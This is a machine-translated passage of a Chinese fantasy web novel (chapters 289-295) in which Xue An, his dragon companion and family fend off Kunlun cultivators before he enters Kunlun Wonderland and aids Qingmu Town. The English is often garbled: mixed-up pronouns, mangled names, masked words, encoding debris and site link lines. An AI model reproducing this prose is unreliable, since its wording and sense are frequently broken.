    "Okay! Do it!"


    Several men were just about to rush up.


    The elementary school student rushed up out of breath, just to see a few men with fierce faces and shouted in fright.


    "Miss sister, run!"


    Tang Xuan''er was taken aback for a moment, then turned around and saw that several men looked at her with a bad face.


    "Where''s the kid, get out!" As he said, one of them waved casually.


    The apprentice was blasted out and fell into a piece of mud, making it difficult to stand up for a while.


    Seeing this scene, Tang Xuan''er couldn''t help being shocked.


    It''s Wu Xiu!


    "Hey, girl, as long as you cooperate obediently, we won''t hurt you!" a man said with a grin.


    A powerful aura enveloped Tang Xuan''er Tang Xuan''er''s complexion was a little pale, and her figure trembled slightly.


    At this moment, Xiao Sha gave a cold snort, and then stood in front of Tang Xuan''er.


    Now Tang Xuan''er is its food and clothing parents. Without her, she would have to catch fish all day long in the lake. Where else could she eat these delicious roast chicken?


    Therefore, for those who dare to be disadvantageous to Tang Xuan''er, it doesn''t mind teaching them what awe is!


    And these guys were also taken aback.


    Why did a dog suddenly pop out?


    And in their eyes, the dog seemed to be... full of disdain!


    Is this despised by the dog? The novel is invincible, starting from the Xianzun Dad, the latest chapter Chapter 289 Kunlun villains enter Beijiang (fifth) URL: https://

 Chapter 290： Pure Yin Spirit Body

    "Damn, it''s just a little broken dog, a quick fight, come on!" someone shouted.


    These guys woke up like a dream, and rushed up together.


    Xiao Sha looked at these guys coldly, a smile of disdain appeared at the corner of his mouth.


    When they rushed closer, they slowly lifted their paws.


    boom!


    The guy who rushed to the front was directly knocked into the air by Xiao Sha.


    "It''s a monster! Use talisman seal!"


    These people all took out a runestone, pointed it at Xiaosha and threw it in the past.


    Xiao Sha still didn''t avoid it.


    These people showed a trace of complacency.


    This is the demon descending amulet produced by the Kunlun Wonderland Tianshi Dao, which has a miraculous effect against monsters.


    It doesn''t hide, which shows that this monster''s intelligence is not that high!


    But when these runestones flew up to Xiaosha, Xiaosha suddenly opened his mouth and bit the runestones.


    All these people were taken aback.


    Xiaosha crunched, actually crushing the rune stones.


    Then it raised its head and roared.


    The sound of the dragon yin shook the four fields.


    All of Xiaosha''s body began to swell sharply, revealing the main body.


    A flood dragon suddenly appeared in front of everyone, and the grand dragon head looked at these people coldly.


    "Fuck, it''s Flood Dragon!" All these people exclaimed.


    "Didn''t it mean that there is no dragon genus anymore?" someone shouted in disregard.


    Xiao Sha ignored the shouts of these people, and a black mist enveloped these people with a mouth.


    Before they could even struggle, they were turned into blood and disappeared.


    After tidying up these few people easily, Xiao Sha looked around, and a pair of magnificent dragon eyes was full of coldness.


    The little student lying in the mud was shaking all over when he saw this scene.


    Suddenly recalled what the boss said in my mind.


    The girl''s background is all right.


    Now it looks good.


    This is more than extraordinary!


    This has all become feathered!


    Xiao Sha looked around, and after creating no more enemies, she narrowed down with satisfaction and changed back to the appearance of a Sabah dog, and then touched Tang Xuan''er''s foot affectionately.


    Tang Xuan''er regained her silence, knelt down, and touched its head ridiculously.


    "Okay, you''re so amazing. I will buy more cooked food to reward you tomorrow!"


    Xiao Sha nodded happily.


    Tang Xuan''er picked up the cooked food on the ground, glanced at the apprentice in the muddy water, hesitated slightly, and said softly.


    "Thank you! But please don''t say what you just saw!"


    The little student nodded arduously, smiled bitterly in his heart, I just wanted to say, someone must believe it?


    Hey, I just saw a dog turned into a dragon, and then spit out a big puff of black smoke, turning several people into blood!


    If you dare to say that, you might be considered a neurosis!


    Tang Xuan''er put down one hundred yuan, "You go to the laundry!"


    After speaking, he turned and left.


    The pupil stared at Tang Xuan''er''s back in a daze, and suddenly shuddered.


    No, it seems that this city cannot be stayed, it is too dangerous!


    All the dogs walking on the road turned out to be dragons!


    Who the **** can stand this!


    Thinking of this, the little apprentice crawled out of the mud and ran away in a panic.


    After a while, a figure slowly emerged.


    A man in white appeared on the open space, with a playful expression: "Interesting, there will be a dragon to protect you, but that''s good, a dragon can be sold at a good price in Kunlun!"


    After all, his figure disappeared again.


    At this time, in Tianzi No. 1 Villa.


    Xiao Sha was devouring cooked food.


    Tang Xuan''er sat on the sofa, still a little frightened.


    Who are those people just now?


    They all seem to have cultivation skills, why would they come to me?


    Is it because of Xue An?


    Tang Xuan''er was thinking wildly.


    Xie Jingjing came in carrying her schoolbag, "Sister Xuaner!"


    Tang Xuan''er smiled, "School is over!"


    "Yeah!" Xie Jingjing put down her schoolbag, took out a test paper and handed it to Tang Xuan''er.


    "Sister Xuan''er, look! I have improved again this time!" Xie Jingjing said complacently.


    During this period of time, she was working hard to prepare for the college entrance examination, but because of the too many homework she had previously pulled down, she didn''t know how to start it for a while.


    Tang Xuan''er took the initiative to help her with homework after learning.


    You know, when Tang Xuan''er went to school, her grades were always among the best, and she was more than enough to tutor Xie Jingjing!


    "Well, yes, but there are still some problems with these questions!" Tang Xuan''er began to explain specifically to Xie Jingjing.


    Soon I forgot the shocking scene just now.


    But under the mountain of Villa No.1 Tianzi, the man in white appeared again.


    He looked up at this hill that was not too high, but was blessed with geomantic geography, and looked a little surprised.


    "The aura here is even comparable to Kunlun, and the person who arranged here is obviously an expert!"


    While thinking, the white-clothed man stepped up the mountain.


    Soon, he came to the top of the mountain, where the aura, rich and even became cloudy.


    The white-clothed man took a deep breath greedily, "What a rare blessing!"


    At this moment, Xiao Sha, who was eating cooked food in the room, suddenly lifted up, rushed out at a rapid speed, and even directly smashed a door.


    "Xiaosha, what are you doing?" Tang Xuan''er exclaimed, and hurriedly followed.


    Xie Jingjing didn''t know what happened, but he still picked up a kitchen knife and walked out immediately.


    When I walked outside, I saw Xiaosha looking at the man in white with vigilant eyesight.


    Tang Xuan''er''s face changed slightly, "Who are you guys? Why are you following me?"


    The man in white licked his lips, "Who am I? You''ll find out in a while! Huh!"


    The man in white saw Xie Jingjing on the side and said in amazement: "It is a pure Yin spirit body, it is really a big profit today!"


    One was a mortal who was offered a reward by Fairy Qianxue, and there was also a dragon, and now a girl with a pure Yin spirit body was added.


    This makes the man in white can''t help being elated.


    The harvest from this trip is enough for him to earn a lot of spirit stones!


    "What mess, boy, I know you have a bad heart, but this is Yunmeng Courtyard, the property of the Qin family, so please get out of here!" Xie Jingjing said solemnly.


    This girl is actually more calm than Tang Xuan''er now.


    The white-clothed man smiled grinningly, "Little girl in the movie, she has sharp teeth, but today I will let you know what an expert means!"


    At this moment, Xiaosha suddenly rushed up.


    It can see that this man is stronger than those guys just now, especially there is a smell on him that makes him feel terrified. It seems that there is some treasure of the demon clan so It is preparing to seize the opportunity.


    "Good coming!" The man in white laughed and raised his hand.


    boom!


    A rope net firmly covered the sand.


    Xiaosha struggled, and the white-clothed man sneered: "It''s useless, this is a trapped dragon rope specially made for binding monsters!"


    Sure enough, the more Xiaosha struggled, the tighter the rope net!


    It won''t be able to turn soon!


    The man in white looked up at the two girls with panic faces and smiled faintly, "Should I do it? Or do you follow me obediently?" Chapter Chapter 290 Pure Yin Spirit Body (first more) URL: https://

 Chapter 291： Killing intent gradually rise!

    Both Tang Xuan''er and Xie Jingjing''s complexions turned pale.


    This man in white is so terrible.


    Even Xiaosha was trapped by him!


    But at this moment, a calm voice came from the mountain road.


    "Then are you planning to let me kill you? Or do you kill yourself?"


    Hearing this voice, Tang Xuan''er and Xie Jingjing were shocked and looked towards the mountain road in disbelief.


    I saw Xue An walking slowly from the mountain road, first smiled at the two of them, "Long time no see!"


    Then he lowered his head and looked at Xiaosha **** by the trapped dragon rope, his eyes getting cold.


    "Kunlun people, so majestic!"


    At this moment, the face of the man in white also turned gloomy.


    Although he couldn''t understand Xue An''s details, he could guess that this guy should be Xue An who made Qianxuemen and Bawangmen want to kill and then quickly.


    "You are Xue An?" The white-clothed man said solemnly.


    Xue An nodded, and then sighed slightly, "Before my wife and children are up to the mountain, you can break it yourself! I can leave a trace of your soul!"


    Hearing the words, the man in white laughed grinningly, "Xue An, your cultivation is good, but you are not clear... Kunlun is amazing!"


    After that, the white-clothed man raised his hand and threw two black lacquered stones straight towards Xue An.


    Xue An didn''t move, and didn''t even bother to lift his eyelids.


    The man in white was overjoyed. This stone was a treasure he bought from Thunder Island with a lot of money, called the Nine Heavens God Thunder Stone.


    It''s a big killer that can''t hold a single blow even if you are scattered!


    This Xue An did not hide, then he was sure to die!


    At this time, the stone came close to Xue An and suddenly expanded and burst open.


    boom!


    The two roads are tens of feet long, and the **** thunder of the thickness of a bucket fell from the sky and struck Xue An straight.


    The thunder shining makes people unable to open their eyes.


    Tang Xuan''er and Xie Jingjing screamed at this power of heaven and earth.


    The man in white sneered.


    As long as you kill him, then you can get huge rewards from Qianxue Sect and Overlord Sect in the future.


    But his excitement did not last long.


    Wait for Lei Guang to disperse.


    The scene before him made the man in white almost stare out his eyes.


    Seeing Xue An emptied his left hand, two chopstick-thin thunder lights wandered around in his palm, like two silver snakes.


    The man in white can clearly perceive that these two rays of thunder are the divine thunder that just attracted.


    "This... how is this possible?" The man in white was panicked.


    I haven''t heard of anyone who can surrender the thunder!


    Xue An raised his head and smiled, "You gave this to me, now I will return the original!"


    After that, Xue An suddenly shook his hand.


    boom!


    These two divine thunders were crushed by Xue Ansheng, and the frightening energy exploded in Xue An''s palm.


    It seemed that a sun appeared in Xue An''s hand, and a dazzling light flashed.


    Tang Xuan''er and Xie Jingjing were shaken and closed their eyes.


    After a while, everything was quiet again.


    At this time, the white-clothed man was stunned, with a frightened expression on his face.


    Xue An ignored him, but stepped forward to pull the trapped dragon rope away and let Xiaosha out.


    Xiao Sha was extremely angry at the moment.


    He is also a dragon at any rate!


    This guy almost succeeded in a sneak attack.


    Therefore, as soon as it was released, the first thing was to storm the past and prepare to find the man in white to settle accounts.


    But it rushed to the front and back, but it was empty.


    Because this man in white was disturbed by Xiaosha, he turned into fly ash and went with the wind.


    That divine thunder actually blasted this man in white into a fan.


    At this time, An Yan and Xue Xiang and Xue Nian walked to the top of the mountain.


    "Daddy, why did the mountain thunder just now?" the two daughters asked in unison.


    Xue An smiled, "Who knows, maybe it''s going to rain!"


    At this moment Tang Xuan''er and Xie Jingjing both stepped forward.


    "Yan''er, when did you return to Beijiang?" Tang Xuan''er asked


    An Yan smiled, "I just arrived!"


    After Xue An returned from Sin City with his family, he did not return to Zhongdu, but went directly to Beijiang.


    It is for this reason that Xue An happened to encounter this incident.


    Otherwise, the two girls and Xiaosha will probably be taken away by the Kunlun people!


    With this thought, Xue An''s murderous heart gradually rose.


    The last time those two Kunlun immortals coveted Tianyuan, I haven''t found them to settle accounts.


    Now I still dare to hit the people around me.


    It seems that we should go to Kunlun! Xue An thought silently.


    The reunion of the old is naturally full of joy.


    Especially the two little girls, after seeing Tang Xuan''er, they were incredibly kind.


    Tang Xuan''er also missed these two little girls very much.


    The girls chatted into the villa.


    Xie Jingjing was silent for a moment, then lowered her head and said: "Mr. Xue, I''m leaving now!"


    Hearing this name, Xue An was slightly startled, and then rubbed her little head helplessly.


    "I will call you brother later, have you heard?"


    Xie Jingjing froze, and after a long time, he said in a low voice, "Hmm!"


    "Go in the house, I will call Uncle Xie and the others to come too, let''s warm up together!" Xue An said lightly.


    now.


    Qin Yu is handling affairs in the company.


    Today''s Qin group has been given full authority to her.


    Her grandfather Qin Yuan has retreated behind the scenes and no longer interferes too much.


    At this time, the Qin group had grown into a formidable behemoth.


    Whether in Beijiang or in the provincial capital!


    Many industries have Qin groups.


    This also gave Qin Yu the reputation of being a business queen.


    "Chairman, there will be a very important meeting soon, and people are already waiting for you in the meeting room!" said the secretary respectfully.


    Qin Yu nodded, "Okay, you can arrange it!"


    "Yes!" The secretary was about to leave.


    The phone rang, Qin Yu took it out and took a look, Huo Ran stood up and connected it respectfully.


    "Sir, you''re back! Good! We all passed by tonight!"


    The secretary was a little confused. She had never seen this cold-faced president so moved.


    After hanging up the phone, Qin Yu said calmly: "Notify them that the meeting is cancelled!"


    "but����."


    "Nothing! If someone doesn''t listen, then I mean it!" Qin Yu said lightly.


    Zhenbei Wuguan.


    Tan Xiaoyu patrolled back and forth with her hands behind her back and serious faces.


    Those who are practicing martial arts in this room are all carefully promoted teenagers.


    These people will be the new vitality of Zhenbei Wuguan in the future. U U Reading


    These teenagers secretly looked at Tan Xiaoyu, with awe and admiration in their eyes.


    For this master, these young people love and fear.


    Love is because Tan Xiaoyu is a real beauty.


    Fear is due to Tan Xiaoyu''s harshness and ruthlessness during practice.


    At this moment, Tan Xiaoyu''s cell phone rang, she looked down and stopped.


    After a long time, she said solemnly: "Let''s practice your self-study tonight!"


    After speaking, hurried away.


    A group of teenagers were left behind, with a face full of inexplicability.


    How could my beautiful master suddenly become so excited? </></> Novels are invincible, starting with the newest chapter of Daddy Xianzun, Chapter 291 kills the heart gradually! (Second update) URL: https://

 Chapter 292： Enter Kunlun

    "Hey! What''s going on today? How come so many luxury cars get in and out?" A security guard at Yunmeng Hospital asked in astonishment.


    "I''m sure someone is here! Get your energy! Don''t make any mistakes!" The security captain said solemnly.


    "Yes!"


    At this moment, a low-key black Audi drove slowly.


    Compared with the top luxury cars that have just entered and exited, this Audi is obviously not up-grade.


    Therefore, even the security guards were a little slack, and opened the gates of the community unhurriedly.


    At this moment, the car window lowered a gap.


    Inside is a middle-aged man who is not angry with himself.


    When the security captain saw this man, he was shocked.


    Quickly ran past, nodding and bending over to say something.


    The window slowly raised.


    The security captain wiped the cold sweat from his forehead, turned and roared: "Quick! Open the door!"


    The door opened.


    The vehicle drove in.


    At this moment, a security guard leaned over and asked in amazement: "Captain, who was that person just now that made you so nervous?"


    The security captain was undecided, took a deep breath, and slowly said, "Who? Haha, that''s a real big shot!"


    "Is it the general manager of our security company?"


    "He? Hehe, he doesn''t even deserve to carry shoes for this!" The security captain said disdainfully.


    The security guard also trembled, and said in horror: "You mean..."


    The security captain nodded with a calm face, "Yes, it''s Mr. Qin!"


    hiss!


    Many security guards took a breath!


    "How is it possible! Hasn''t he already retreated behind the scenes? How come this time?"


    "Haha, isn''t this clear enough? This is for a banquet! It seems that the energy of this big man can reach the sky today!" The security captain was sighing.


    A flaming red Porsche screamed and rushed over.


    Upon seeing this license plate, the security captain paled in fright, "Quick! Open the door!"


    After Porsche drove in, he was silent for a while, and then said: "Remember for a while, no matter who comes, you must be respectful, otherwise if something happens today, the gods will not be able to save you!"


    "Captain...Is that Miss Qin just now?"


    The captain nodded.


    The security guards quickly shook their energy.


    These big people who are usually inaccessible at all have all emerged today, which makes this group of security guards also very excited.


    But after they were looking forward to it for a long time, a ragged van drove over.


    The van was broken and could be pulled directly into the waste station.


    Several security guards frowned and stepped forward and yelled: "Quickly get out of the way, you can''t go in to collect waste today!"


    This car was originally treated as a waste product!


    Old Xie shook the glass, poked his head and said, "What is the mess, open the door, I''m here for the banquet today!"


    "Huh?" The security guards were dumbfounded.


    This also attends the banquet?


    This gap is too big!


    But I didn''t dare to stop it, so I had to let it go.


    Lao Xie was quite content with this, and led the fat aunt directly to Villa No.1 Tianzi.


    At the beginning of the Hua Deng, the Tianzi No. 1 Villa was also brightly lit.


    If there are outsiders here, they will probably exclaim.


    Because the people who have emerged here are all big names from all sides.


    However, these big figures who are calling for the wind and rain outside are all in awe at this moment.


    In awe of the man sitting on the main seat.


    Xue An didn''t expect so many people to come today.


    He just called a few people briefly.


    Unexpectedly, the news of his return spread like wildfire.


    Many people came over uninvited to join in.


    In this regard, Xue An just smiled.


    "Sir, how long is the preparation for going back to Beijiang this time?" Qin Yuan asked respectfully.


    Xue An said lightly: "It won''t be a few days, I have something to do!"


    "Oh!" Many people looked disappointed.


    These people came here thinking of being able to get closer to Xue An.


    Because they are very clear.


    The reason why the Qin family is flourishing today is entirely due to this man.


    "In that case, I wish Mr. all the best!" Qin Yuan said with a toast.


    Xue An smiled faintly, then raised his cup, and then raised his glasses to everyone below.


    "Since everyone is here today, I will toast everyone!"


    boom!


    The whole house all got up and left their seats, "Mr. Xie!"


    Witness this scene.


    Qin Yuan couldn''t help but sigh in his heart.


    Who would have thought that the man at the beginning had grown into a existence that everyone would look up to?


    There are Lao Xie and Fat Aunt who hold the same idea.


    They looked at each other, and they all saw the relief and vibration in each other''s eyes.


    The Xiao An in the memory has become a big figure that countless people are in awe of!


    That night.


    In the Villa No. 1 of the emperor, the crowds scrambled together, and everyone greeted each other until late at night.


    After that, Xue An stayed in Beijiang for three days.


    Then he got up and went to Kunlun alone.


    In this regard, An Yan is always a little worried.


    After all, it was a place called a fairyland!


    Who knows what will be inside.


    Xue An went alone, it was too dangerous!


    Xue An just smiled at this, and then comforted his wife for a long time before leaving.


    The plane landed slowly in the big city closest to Kunlun, and then Xue An found a remote corner and soared into the sky.


    Kunlun is known as the Chinese Dragon Vein, and in the endless mountains, I don''t know how many secrets are hiding.


    Xue An was flying in mid-air, divine mind searching for the strangeness around him.


    Even at his speed, it would take more than a day in Kunlun to turn out.


    But soon, he noticed an abnormal fluctuation.


    A smile appeared at the corner of Xue An''s mouth.


    This is it!


    After falling on the ground, Xue An created it, which is located in a valley surrounded by mountains and very hidden.


    Xue An squinted his eyes slightly, and blasted out a punch.


    boom!


    There was a sudden violent fluctuation in the space, and then a black crack emerged.


    Xue An leaped forward and dissipated in the mountains.


    This time is different from the last time I went to the Secret Realm of Wolf Warriors.


    The time to traverse is actually more than a minute.


    And all kinds of fierce winds keep blowing.


    If it weren''t for Xue An''s profound cultivation, he wouldn''t even be able to withstand the wind.


    at last.


    A bright light appeared in front, Xue An speeded up, and after flying here, he dashed suddenly.


    All the people disappeared behind the light curtain.


    This is a hill in Kunlun Wonderland suddenly.


    There was an abnormal wave in the air, and then a person suddenly spit out.


    After Xue An emerged in the air, his figure couldn''t stop falling.


    This more than a minute crossing cost him too much strength.


    However, Xue An took a deep breath, and the aura that created this place was a hundred times stronger than the earth.


    So after Xue An fell on the ground, he recovered his strength within a few breaths.


    Then he searched the surroundings with divine thoughts, and nothing was unusual.


    But soon he created that someone was fighting in the distance! The novel is invincible, and the latest chapter, Chapter 292, enters Kunlun (third update) starting from Daddy Fairy.

 Chapter 293： Master Xianshi

    Bian Hua was hurt all over his body at this moment, but he was still struggling to sustain it.


    And behind him is a young girl with a tender face.


    "Bianhua, you hand over the elixir, and we will let you go! Otherwise... you and your sister are going to die today!" a man in Tsing Yi said coldly.


    Bian Hua gritted his teeth and said angrily: "Can the people of Xuan Yuanzong act so domineering? I took this elixir after a year of blood and sweat. You said you want it?"


    "Hehe, acting domineering and not domineering, it''s not your decision, everything depends on strength! Who makes you Qingmu Town too weak!"


    With that, the men in Tsing Yi who besieged them all speeded up.


    At this time, the marginalization that would otherwise be unsustainable is even more dangerous.


    Seeing that her brother was about to die, the girl began to cry.


    Xue An was already around at this moment, and he saw the scene just now, frowned slightly, and then stepped out.


    His emergence shocked the people of Xuan Yuanzong! But after seeing Xue An alone, they all relaxed.


    "Boy, Xuan Yuanzong is acting, get out if you know it!" The man in Tsing Yi shouted in a deep voice.


    At first, Bianhua was excited when he saw someone coming.


    But after seeing Xue An''s very ordinary aura, his heart sank again.


    But just when he fell into disregard again.


    Seeing Xue An raised his eyebrows slightly, and was too lazy to talk to this person, he pointed out.


    A strand of sword light flew directly over the neck of the man in Tsing Yi.


    puff!


    The head of the man in Tsing Yi rose to the sky, and his body fell to the ground.


    This hand shook everyone.


    Especially Xuanyuanzong''s people, it is like seeing a ghost.


    "Who are you? Kill my Xuanyuanzong disciple, so you won''t be afraid of us..."


    Xue An said lightly: "Noisy!"


    With that said, take a step forward.


    Sword Qi was everywhere, directly cutting the remaining people into mud.


    Then Xue An turned his head and looked at Bianhua with a dull face, and turned to leave.


    The reason why he rescued him was only because Xue An sighed a little at Bian Hua''s death to protect his sister.


    Now that the person was rescued, he turned around and left, preparing to go to Qianxuemen to settle accounts first.


    But only after he left, Bian Hua woke up, and said quickly, "Master Immortal stayed!"


    Xue An stopped, "What do you call me?"


    "Master! With the method you just used, even the great elders of Xuan Yuanzong are nothing more than this! Naturally, you can be called a master!" Bian Hua said respectfully.


    Xue An smiled lightly, didn''t care about it, just asked: "What are you doing to stop me?"


    Bian Hua hesitated for a moment, and then said: "Master Xian made a move to help. We naturally have to repay the brother and sister. I wonder if Master Xianshi can go to our town!"


    After speaking, Bian Hua looked at Xue An nervously.


    As he said, Xue An''s methods can be called a fairy master!


    And such a character, apart from the town lord sister in Qingmu Town, no one can reach it!


    That''s why he sincerely invited Xue An to go.


    Xue An slightly pondered.


    I don''t know how big this Kunlun Wonderland is, so it''s better to follow along and take a look at the news about Qianxuemen and Bawangmen.


    So Xue An nodded.


    "Good!"


    Bian Hua couldn''t trust his ears, and then excitedly said, "In this case, Master Xianshi, please follow me!"


    With that said, Bianhua leads the way.


    The little girl looked at Xue An curiously, and couldn''t help saying, "Master Xianshi, where are you from? Jizhou City?"


    Xue An looked at this little girl who was only eleven or twelve years old and couldn''t help feeling much better.


    "No!"


    "Oh! Where did you come from? Also, what is your name?"


    At this time, Bian Hua secretly pushed his sister, and then apologized: "Master Xian, this is my sister Bian Tian. She usually asks questions. We all call her problem baby. Don''t be familiar with her!"


    Before Xue An spoke, Bian Tian was no longer happy.


    "Brother, Sister Aoki said, you can no longer call them this nickname! Otherwise, I will complain to her when I return!" Bian Tian was very unhappy.


    Bian Hua smiled a little embarrassed, but didn''t want to twitch the corner of his mouth, so he sucked in pain.


    Seeing this, Bian Tian''s distressed tears began to swirl in his eye sockets, "Brother, do you hurt?"


    "It''s okay, it will be done in a while!"


    Seeing this scene, Xue An took out a simplified version of Pei Yuan Dan from his arms.


    "Eat it! It''s good for your injury!"


    Bian Hua hesitated after taking it, but he still ate his neck.


    A moment later.


    Bian Hua''s injuries began to heal at a speed visible to the naked eye.


    This magical scene made Bianhua a bit silly!


    "Spirit... Spirit Pill?"


    Then Bian Hua looked at Xue An very distressedly, "Master Xianshi, did you use a spirit pill to heal me?"


    Xue An smiled faintly, "What? Is it strange?"


    Bian Hua stopped talking, but there was a lot of awe in Xue An''s eyes.


    With a high level of cultivation, it is a spirit pill as soon as he shoots, and he doesn''t care about it.


    Such a person is definitely a person in a big city or a large number of people.


    quickly.


    Xue An followed Bianhua brothers and sisters to Qingmu Town.


    At this time, Xue An knew why this place was called Qingmu Town.


    Because there is a towering old tree in the center of the town, the tree covers an area so large that it even covers the entire town.


    After seeing Bianhua coming back, the residents of the town greeted one after another.


    "Bianhua is back!"


    Bian Hua nodded, "Where is the town lord?"


    "The lord of the town is discussing things with a few leaders in the chamber!"


    Hearing this, Bian Hua led Xue An to the chamber of the town.


    As soon as I walked to the door, I heard quarrels inside.


    "My lord, I think I can think about it. After all, the strength of Qingmu Town is still too weak! If we can merge with Yuanzhou City, it would be pretty good!"


    "Needless to say, this thing is impossible!" said a cold female voice.


    At this time, Bian Hua led Xue An in.


    I saw ~www.novelhall.com sitting on the main seat, a woman with a firm expression, and three or four men with unkind faces sitting below.


    When the woman saw Bianhua, she couldn''t help saying, "How is it?"


    Bian Hua said happily, "Sister Aomu, I have brought it back!"


    At this time, Bian Qingmu also noticed Xue An on the side, and couldn''t help asking: "This is..."


    Before Bian Hua spoke, Bian Tian already said, "Sister Aomu, this is the Master Xianshi who saved my brother and me!"


    Fairy teacher?


    This name caused a storm in the small chamber.


    A black-faced man sneered: "It''s a joke. Even Yuanzhou City doesn''t dare to say how many immortal masters there can be. You call yourself immortal master?" The novel is invincible, starting from the fairy tale The latest chapter Chapter 293 Master Xianshi (fourth more) URL: https://

 Chapter 294： For me, no one cannot kill!

    The words of the black-faced man made the atmosphere in the room difficult.


    But before others had spoken, Bian Hua was already angrily said: "Yuanzhou City? Haha, Sister Qingmu, this time I went to collect elixir. The result was that I was besieged by Xuan Yuanzong of Yuanzhou City, and was almost killed. It''s medicine! Now their Yuanzhou City people still dare to persuade us to merge?"


    Bianhua''s words caused a commotion.


    The black-faced man stood proudly and sneered: "Bianhua, you said that people from Xuanyuanzong besieged you, how did you run out? Could it be that Xuanyuanzong deliberately besieged you and then let you out? Nothing?"


    Bian Hua said: "I just said that if it weren''t for this Master Xianshi to help, I would have died a long time ago!"


    The black-faced man was ridiculed, and he rushed to Aoki and clasped his fists, "My lord town, I feel these words are pure nonsense, especially this guy, I don��t know where it came from, it��s probably A liar!"


    Bian Qingmu has been looking at Xue An, frowning when he hears this.


    There is nothing surprising about this man''s aura!


    Everyone in the room looked at Xue An with strange eyesight.


    Bian Hua flushed with anger, and was about to speak against the black-faced man.


    Xue An waved his hand, motioned him not to speak, then raised his eyebrows slightly, "You said...I''m a liar?"


    The black-faced man sneered and said: "Is it right? You are the clearest one! But if it were in Yuanzhou City, a person like you, I would have already killed someone into the flesh!"


    Xue An nodded, then popped a finger.


    boom!


    A sword light pierced the black-faced man''s chest.


    However, this black-faced man was somewhat capable, and a golden light suddenly appeared on his sword-light thorn, protecting him.


    The black-faced man was a little frightened, but Xuan even sneered: "Hehe, it''s useless, this is a jade pendant specially given to me by the lord of the sovereign, and it is impossible for ordinary people to break it!"


    But his complacency didn''t last long. The golden light on his body shone for a few times, and then he burst into pieces.


    The black-faced man yelled in horror, the sword light cut it horizontally, and cut it in half.


    At this time, the black-faced man hadn''t passed away, but looked at Xue An in anger.


    "You...you dare to kill the people in Yuanzhou City?"


    Xue An said calmly: "For me, no one can kill!"


    After that, another sword glow passed, and the black-faced man died.


    now.


    There was dead silence in all the chambers.


    Including the Bianhua who led Xue An back, they were all horrified at the moment.


    "You... you actually killed the messenger sent by Yuanzhou City?" A leader of Qingmu Town jumped up and roared.


    "Yeah! Do you know how much trouble this will cause Qingmu Town?" Another old man said with a look of disappointment.


    These people began to blame Xue An.


    Xue An frowned.


    Bian Qingmu whispered: "Stop talking!"


    The room became quiet, then Bian Qingmu looked at Xue An, and after a while, he said, "Sword repair?"


    Xue An smiled faintly, "Forget it!"


    "But the Jianxiu school is in the northern border of Kunlun, why did you come to the east?" Bian Qingmu asked again.


    "Do I still need to report this to you?" Xue An said lightly.


    An angry expression appeared on Bian Qingmu''s face, and then he calmed down again.


    "The trial meeting is coming soon. I don''t care what you sword repairers want to do, but this is where Qingmu Town is located. You must abide by the rules of our Qingmu Town!"


    After all, she got up to leave.


    Several leaders said one after another: "My lord, Yuanzhou..."


    Bian Qingmu said coldly: "Even if you don''t kill this person, Yuanzhou won''t let us off easily! I don''t need the lingering panting in exchange for humility, I Bian Qingmu don''t need it!"


    After speaking, she took a step and left.


    At this time, Xue An said calmly: "Do you want to suppress your injury with the help of elixir? It''s naive to think!"


    These words were astonishing, making everyone in Bian Qingmu froze.


    The matter of her unhealed injury has always been the secret of all Qingmu Town, even Bianhua didn''t know it!


    "Why don''t we make a deal!" At this time, Xue An said lightly.


    "What deal?"


    "I will go to the trial meeting with you! I will help you heal your injury!"


    Xue An''s words were understated, as if to say a trivial matter.


    But everyone in the room opened his eyes.


    Bian Qingmu suddenly turned around, his face showing sarcasm.


    "Take you to the trial meeting? I finally made it clear, are you a secluded cultivator?"


    Xue An said lightly: "So what?"


    "Hehe, in the last trial meeting, several hidden cultivators were all blown up. What would you say?"


    Bian Qingmu went on to say: "This trial conference is about the survival of each sect. It is sent to the most outstanding figures of each sect. Don''t feel that you have some cultivation skills, and you can look down on the people of the world!"


    Xue An nodded, "You are right, in my eyes, the world is nothing but grassy!"


    "You..." Bian Qingmu''s face turned pale with anger, but he quickly returned to silence.


    "Okay! I can promise you! But I don''t know how you plan to heal me?"


    Xue An casually took out a Pei Yuan Dan, "After eating it, I dare not say that you will be cured immediately, but at least I can hold it!"


    Xue An turned around and said faintly: "Remember what you said, I will wait for you to join the trial meeting!"


    After that, he left.


    The people in the room looked at each other.


    After Bian Qingmu took the Peiyuan Pill, he didn''t care about it at first, but he stopped after taking a closer look.


    "This...this is..."


    Bian Hua quickly said: "Sister Qingmu, I forgot to tell you, Master Immortal also gave me a spiritual pill to heal my wounds when he came back!"


    Bian Qingmu looked at Xue An Yuanxiang''s back with some surprise.


    What is his origin?


    The shot is the spirit pill, and the cultivation base is also good!


    But people are too arrogant!


    There are indeed many secluded cultivators in the Kunlun Wonderland, but due to the lack of support from the sect, it is difficult to surpass the children of the sect in cultivation.


    Although this man has a good cultivation base, he is far inferior to those immortals who have been meticulously created since he was a child, and even true Tianjiao!


    At that time, he will surely know what it means to be outside, there will be someone outside, there will be heaven and heaven!


    Thinking of this, Bian Qingmu solemnly said: "Write a letter to Yuanzhou City and tell them that I Qingmu Town will not succumb!"


    "Yes!"


    When Sha E, the lord of Yuanzhou City and also the lord of Xuanyuanzong, received the letter from Qingmu Town, he was furious.


    "Bian Qingmu, this woman, dare to resist me with the power of a small town! She must be killed!" Sha E said solemnly.


    At this time, someone smiled on the side and said: "Sovereign Lord, please calm down, this matter is really easy to solve!"


    "Oh? What''s the trick of Elder Diao?" Sha E looked at this person.


    The speaker is the think tank of Xuan Yuanzong, Diao Zeng.


    Diao Zeng smiled slightly, "Master Sovereign, this Aoki Town is nothing unusual. There are very few people with high cultivation bases. It can be said that only Aoki is supported by the side! And now the trial meeting is coming, we can think about it at the trial meeting. Doesn''t it save a lot of effort to kill it by taking measures? And it''s just right!" The novel is invincible, starting with the newest chapter, Chapter 294, from Xianzun Dad. (Fifth update) Website: https://

 Chapter 295： 0 Years Aoki Heart

    Bian Qingmu slowly opened his eyes, and a strong momentum came from her.


    Surprisingly, it is the cultivation base of Sanxian Peak!


    Bian Hua took a step forward and asked with concern: "Sister Aoki, how is it?"


    Bian Qingmu nodded, "Sure enough, this spirit pill is extraordinary. My injury is no longer unharmed, and my cultivation has returned to the previous level!"


    Bian Hua took a breath, and said excitedly: "I said Master Immortal''s spirit pill will have magical effects!"


    A complex expression flashed in Bian Qingmu''s eyes.


    What is the origin of that mysterious man?


    Why is there such a wonderful panacea?


    You must know that in Kunlun Wonderland, apart from those large numbers of sects, few people can refine spirit pills!


    This also makes the spirit pill very valuable.


    Even the elixir that Bian Hua picked up this time, if Xue An doesn''t emerge, Bian Qingmu is planning to swallow it directly!


